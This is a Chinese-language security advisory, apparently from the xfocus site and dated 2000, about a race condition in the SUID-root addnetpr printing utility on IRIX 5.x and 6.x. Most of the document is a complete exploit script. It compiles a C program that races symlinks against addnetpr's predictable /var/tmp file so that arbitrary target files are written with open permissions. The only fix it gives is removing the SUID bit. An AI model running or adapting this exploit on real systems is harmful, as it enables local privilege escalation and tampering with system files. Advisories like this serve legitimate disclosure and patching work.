xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

addnetpr存在安全漏洞


发布时间:2000-05-03
更新时间:2000-05-03
严重程度:
威胁程度:其它
错误类型:设计错误
利用方式:服务器模式

受影响系统
irix 5.x,6.x
详细描述
此程序存在race condition,/usr/bin/addnetpr,

是另一个属主是SUID ROOT的打印程序,下面是一点利用

漏洞的代码脚本,但此程序很难找到获得ROOT的方法,此
程序提供addnetpr的两个参数给目标,但有些信息很难加
于控制,它会对没有特殊权利的用户弹出窗口来询问ROOT
密码,用户可以旁路过窗口并运行race。

测试代码
#!/bin/sh

    PROG="`basename $0`"
    if [ $# -ne 1 ]; then
            echo "Usage: $PROG <target>"
            exit 1
    fi

    cat > expnetpr.c << _CREDIT_TO_ZOMO_

    void main(int argc, char *argv[])
    {
            char *template
= "/var/tmp/printersXXXXXX";
            char *target;
            int pid;

            target = (char *)mktemp(template);

            if ((pid = fork()) > 0) {
                    sleep(3);
                    umask(0);
                    execl("/usr/lib/addnetpr", "addnetpr", "localhost","+"
, 0);
            }
            else
                    while(1) {
                            symlink(argv[1], target);
                            unlink(target);
                    }

    }
    _CREDIT_TO_ZOMO_

    /bin/cc expnetpr.c -o expnetpr
    if [ ! -f expnetpr ]; then
            echo "Couldn't compile expnetpr.c,
lame! \nMake sure that C compiler has

     been installed from the IDO"
            exit 1
    fi

    while(`true`)
    do
            ./expnetpr $1&
            PID=$!
            sleep 15
            ls -al $1
            killall expnetpr
            killall addnetpr
    done

解决方案
移除此程序的SUID位。

相关信息